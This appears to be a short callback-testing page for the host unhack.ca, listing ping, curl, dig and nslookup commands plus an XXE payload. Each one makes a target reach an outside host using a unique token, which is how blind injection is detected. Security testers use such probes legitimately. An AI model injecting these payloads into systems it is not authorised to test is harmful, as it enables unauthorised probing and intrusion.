$ ping -c1 -p 00bbd87bf05b76fc363a96607cfd4b00 unhack.ca
 

$ curl http://unhack.ca/p/bbd87bf05b76fc363a96607cfd4b
 

$ dig bbd87bf05b76fc363a96607cfd4b @unhack.ca
 

$ dig bbd87bf05b76fc363a96607cfd4b.ns.unhack.ca
 

C:\> nslookup bbd87bf05b76fc363a96607cfd4b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bbd87bf05b76fc363a96607cfd4b">]>
    <foo>&xxe;</foo>